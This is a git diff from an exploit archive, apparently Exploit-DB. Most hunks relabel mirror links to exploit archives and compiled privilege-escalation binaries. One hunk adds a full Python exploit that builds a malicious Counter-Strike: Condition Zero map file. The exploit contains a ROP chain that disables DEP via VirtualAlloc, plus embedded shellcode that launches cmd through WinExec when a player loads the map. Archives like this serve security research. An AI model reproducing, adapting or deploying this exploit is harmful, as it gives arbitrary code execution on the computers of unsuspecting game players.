https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/31895.7z diff --git a/platforms/windows/local/35661.txt b/platforms/windows/local/35661.txt index 772888ec2..c03c952ae 100755 --- a/platforms/windows/local/35661.txt +++ b/platforms/windows/local/35661.txt @@ -1,5 +1,5 @@ -## Source: https://code.google.com/p/google-security-research/issues/detail?id=118#c1 -## EDB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35661-poc.zip +# Source: https://code.google.com/p/google-security-research/issues/detail?id=118#c1 +# Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35661-poc.zip Platform: Windows 8.1 Update 32/64 bit (No other OS tested) diff --git a/platforms/windows/local/35901.txt b/platforms/windows/local/35901.txt index 00f9b375d..9b6f4f6c1 100755 --- a/platforms/windows/local/35901.txt +++ b/platforms/windows/local/35901.txt @@ -25,5 +25,5 @@ FLV file . This may allow a context-dependent attacker to corrupt memory and potentially execute arbitrary code. -## EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35901-poc.flv -## EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35901-windbglog.txt \ No newline at end of file +# Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35901-poc.flv +# Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35901-windbglog.txt \ No newline at end of file diff --git a/platforms/windows/local/35902.txt b/platforms/windows/local/35902.txt index fd4ddef3e..b8f8007e5 100755 --- a/platforms/windows/local/35902.txt +++ b/platforms/windows/local/35902.txt @@ -25,5 +25,5 @@ M2V file . This may allow a context-dependent attacker to corrupt memory and potentially execute arbitrary code. -## EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35902-poc.m2v -## EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35902-windbglog.txt \ No newline at end of file +# Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35902-poc.m2v +# Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35902-windbglog.txt \ No newline at end of file diff --git a/platforms/windows/local/37049.txt b/platforms/windows/local/37049.txt index eb79ba76c..08a035536 100755 --- a/platforms/windows/local/37049.txt +++ b/platforms/windows/local/37049.txt @@ -12,10 +12,10 @@ R136a1 / hfiref0x ## Compiled EXE: ### x86 + https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou32.exe -+ EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-32.exe ++ Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-32.exe ### x64 + https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe -+ EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-64.exe ++ Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-64.exe Source Code: https://github.com/hfiref0x/CVE-2015-1701/archive/master.zip diff --git a/platforms/windows/local/40118.txt b/platforms/windows/local/40118.txt index c9c24b17a..90099bcd4 100755 --- a/platforms/windows/local/40118.txt +++ b/platforms/windows/local/40118.txt @@ -14,4 +14,4 @@ http://theori.io/research/cve-2016-0189 3. Browse with a victim IE to `vbscript_bypass_pm.html`. 4. (Re-fresh or re-open in case it doesn't work; It's not 100% reliable.) -EDB-Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40118.zip \ No newline at end of file +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40118.zip \ No newline at end of file diff --git a/platforms/windows/local/42325.py b/platforms/windows/local/42325.py new file mode 100755 index 000000000..67eb8971a --- /dev/null +++ b/platforms/windows/local/42325.py @@ -0,0 +1,237 @@ +#!/usr/bin/env python +# Counter Strike: Condition Zero BSP map exploit +# By @Digital_Cold Jun 11, 2017 +# +# E-DB Note: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42325.zip (bsp-exploit-source.zip) +# +from binascii import hexlify, unhexlify +from struct import pack, unpack +import math +import mmap +import logging + +fmt = "[+] %(message)s" + +logging.basicConfig(level=logging.INFO, format=fmt) +l = logging.getLogger("exploit") + +# Specific to the file +INDEX_BUFFER_OFF = 0x92ee0 # ARRAY[int] +VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short] +VERTEX_DATA_OFF = 0x37f7c # ARRAY[VEC3], VEC3[float, float, float] +NUM_EDGES_OFF = 0x70f94 # The length that was fuzzed to cause the crash + +# No longer used as could not find a gadget to 'pop, pop, pop esp, ret' +# SEH_OVERWRITE_OFF = 0x4126C + +# Initial offset into the index buffer where the function to exploit resides +INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already + +# INDEX_BUFFER +# 0: 20 +# 1: 10 +# 2: 2 --> Vertex Buffer Indexes + +# VERTEX BUFFER INDEXES +# 0: 1 +# 1: 2 +# 2: 4 --> Vertex Data + +# VERTEX DATA +# 0: 1.23, 23423.0, 3453.3 +# 1: 1.23, -9.0, 3453.3 +# 2: 1.0, 1.0, 1.0 +# 3: 1.0, 1.0, 1.0 +# 4: 0.0, 1.0, 0.0 + +# Example: +# a = INDEX_BUFFER[2] ; a = 2 +# b = VERTEX_BUFFER[a] ; b = 4 +# vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0 + +def dw(x): + return pack("I", x) + +def main(): + target_file = "eip-minimized.bsp" + output_file = "exploit-gen.bsp" + + print "GoldSource .BSP file corruptor" + print " by @Digital_Cold" + print + + l.info("Corrupting target file %s" % target_file) + + # Read in and memory map target file + fp = open(target_file, 'rb') + mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY) + fp.close() + + VEC3_COUNT = 63 + # then come Saved EBP and return address + + start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET + second_idx = VERTEX_BUFFER_INDEXES_OFF + vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults + + l.info("Writing to index buffer offset %08x...", start_idx) + l.info("Vertex buffer indexes start %08x", second_idx) + l.info("Vertex data at %08x", vertex_data_start) + + data_buffer = [] + + for i in range(VEC3_COUNT): + for j in range(3): + data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory + + data_buffer.append("\x00\x00\x00\x00") # dont care + data_buffer.append("\x00\x00\x00\x00") # unk1 + data_buffer.append("\x00\x00\x00\x00") # unk2 + + data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call) + data_buffer.append("\x00\x00\x00\x00") # EBP + data_buffer.append(dw(0x01407316)) # Saved Ret --> POP EBP; RET [hl.exe] + + # XXX: bug in mona. This is a ptr to VirtualProtectEx!! + # 0x387e01ec, # ptr to &VirtualProtect() [IAT steamclient.dll] + + """ + Register setup for VirtualAlloc() : + -------------------------------------------- + EAX = NOP (0x90909090) + ECX = flProtect (0x40) + EDX = flAllocationType (0x1000) + EBX = dwSize + ESP = lpAddress (automatic) + EBP = ReturnTo (ptr to jmp esp) + ESI = ptr to VirtualAlloc() + EDI = ROP NOP (RETN) + --- alternative chain --- + EAX = ptr to &VirtualAlloc() + ECX = flProtect (0x40) + EDX = flAllocationType (0x1000) + EBX = dwSize + ESP = lpAddress (automatic) + EBP = POP (skip 4 bytes) + ESI = ptr to JMP [EAX] + EDI = ROP NOP (RETN) + + place ptr to "jmp esp" on stack, below PUSHAD + -------------------------------------------- + """ + + # START ROP CHAIN + # DEP disable ROP chain + # rop chain generated with mona.py - www.corelan.be + # + # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio + rop_gadgets = [ + #0x3808A308, # INT3 # RETN [steamclient.dll] + 0x38420ade, # POP EDX # RETN [steamclient.dll] + 0x387e01e8, # ptr to &VirtualAlloc() [IAT steamclient.dll] + 0x381236c5, # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll] + 0x381ebdc1, # POP EBP # RETN [steamclient.dll] + 0x381f98cd, # & jmp esp [steamclient.dll] + 0x387885ac, # POP EBX # RETN [steamclient.dll] + 0x00000001, # 0x00000001-> ebx + 0x384251c9, # POP EDX # RETN [steamclient.dll] + 0x00001000, # 0x00001000-> edx + 0x387cd449, # POP ECX # RETN [steamclient.dll] + 0x00000040, # 0x00000040-> ecx + 0x386c57fe, # POP EDI # RETN [steamclient.dll] + 0x385ca688, # RETN (ROP NOP) [steamclient.dll] + 0x0140b00e, # POP EAX # RETN [hl.exe] + 0x90909090, # nop + 0x385c0d3e, # PUSHAD # RETN [steamclient.dll] + ] + + + # Can be replaced with ANY shellcode desired... + # http://shell-storm.org/shellcode/files/shellcode-662.php + shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \ + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \ + "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \ + "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \ + "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \ + "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \ + "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \ + "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \ + "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \ + "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \ + "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \ + "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \ + "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \ + "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \ + "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \ + "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \ + "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \ + "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \ + "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \ + "\x24\x20\x57\xFF\xD0" + + shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash) + shellcode += "\xeb\xfe" + shellcode += "\xeb\xfe" + shellcode += "\xeb\xfe" + shellcode += "\xeb\xfe" + + shellcode_dwords = int(math.ceil(len(shellcode)/4.0)) + extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0)) + + # Loop count (needs to be the exact amount of ROP we want to write + data_buffer.append(dw(extra_dwords)) + + for addr in rop_gadgets: + data_buffer.append(dw(addr)) + + for b in range(shellcode_dwords): + data = "" + + for byte in range(4): + idx = byte + b*4 + + # pad to nearest DWORD with INT3 + if idx >= len(shellcode): + data += "\xcc" + else: + data += shellcode[idx] + + data_buffer.append(data) + + second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes + + # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before + # we can exploit the function + + # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW + #mmfile[NUM_EDGES_OFF] = pack("B", 0x41) + + for i in range(int(math.ceil(len(data_buffer)/3.0))): + mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i) + mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i) + + second_idx += 2 # required because the game loads every-other word + + # This data will now be on the stack + for j in range(3): + sub_idx = j*4 + i*0xc + data_idx = i*3 + j + towrite = "" + + if data_idx >= len(data_buffer): + towrite = "\x00"*4 + else: + towrite = data_buffer[i*3 + j] + + mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite + #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx)) + + # write out the corrupted file + outfile = open(output_file, "wb") + outfile.write(mmfile) + outfile.close() + + l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file)) + l.info("Copy to game maps/ directory!") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/platforms/windows/local/4625.txt b/platforms/windows/local/4625.txt index 9bcc206dd..5180d4d70 100755 --- a/platforms/windows/local/4625.txt +++ b/platforms/windows/local/4625.txt @@ -26,7 +26,7 @@ do not use the exploit for attacking. The attached file is at: http://ruder.cdut.net/attach/MS_MDB_Vul/Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.rar - backup: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/4625.rar (11162007-Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.rar) + Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/4625.rar (11162007-Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.rar) MD5 Hash:73243B8823C8DC2C88AE0529CA13C4C6 diff --git a/platforms/windows/remote/20547.txt b/platforms/windows/remote/20547.txt index e736a11e9..c59cfd0c8 100755 --- a/platforms/windows/remote/20547.txt +++ b/platforms/windows/remote/20547.txt @@ -20,6 +20,6 @@ was not properly initialized or (2) is deleted, aka "Time Element Memory Corruption Vulnerability." -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/20547.rar +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/20547.rar \ No newline at end of file diff --git a/platforms/windows/remote/20758.c b/platforms/windows/remote/20758.c index b51be7a73..32968ef38 100755 --- a/platforms/windows/remote/20758.c +++ b/platforms/windows/remote/20758.c @@ -8,7 +8,7 @@ Version: 0.3z R2 Tested on: Windows XP SP3, Windows 7 Ultimate SP1, Windows Server 2003, Windows Server 2008, it should work on all Windows. -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/20758.tar.gz +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/20758.tar.gz */ #include "main.h" diff --git a/platforms/windows/remote/23080.txt b/platforms/windows/remote/23080.txt index 3fe148bff..15368bf3b 100755 --- a/platforms/windows/remote/23080.txt +++ b/platforms/windows/remote/23080.txt @@ -2,7 +2,7 @@ FreeSSHD all version Remote Authentication Bypass ZERODAY Discovered & Exploited by Kingcope Year 2011 -## Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/23080.zip +# Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/23080.zip Run like: diff --git a/platforms/windows/remote/32851.html b/platforms/windows/remote/32851.html index 7c1efabff..6f5ddc39d 100755 --- a/platforms/windows/remote/32851.html +++ b/platforms/windows/remote/32851.html @@ -13,7 +13,7 @@ Generation: c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf - Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/32851-AsXploit.as + Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/32851-AsXploit.as --> diff --git a/platforms/windows/remote/42327.html b/platforms/windows/remote/42327.html new file mode 100755 index 000000000..dc884afff --- /dev/null +++ b/platforms/windows/remote/42327.html @@ -0,0 +1,375 @@ + + + + + + + diff --git a/platforms/windows/remote/4948.txt b/platforms/windows/remote/4948.txt index 43d81bf1b..025c2ac0b 100755 --- a/platforms/windows/remote/4948.txt +++ b/platforms/windows/remote/4948.txt @@ -1,5 +1,5 @@ Windows RSH daemon <= 1.8 Remote Buffer Overflow Exploit -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/4948.tar.gz (2008-prdelka-vs-MS-rshd.tar.gz) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/4948.tar.gz (2008-prdelka-vs-MS-rshd.tar.gz) # milw0rm.com [2008-01-21] diff --git a/platforms/windows/remote/5213.txt b/platforms/windows/remote/5213.txt index 2906c251b..adcfdf300 100755 --- a/platforms/windows/remote/5213.txt +++ b/platforms/windows/remote/5213.txt @@ -1,5 +1,5 @@ Versant server <= 7.0.1.3 Arbitrary Commands Execution Exploit -Exploit-DB mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5213.zip (2008-versantcmd.zip) +Exploit-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5213.zip (2008-versantcmd.zip) # milw0rm.com [2008-03-04]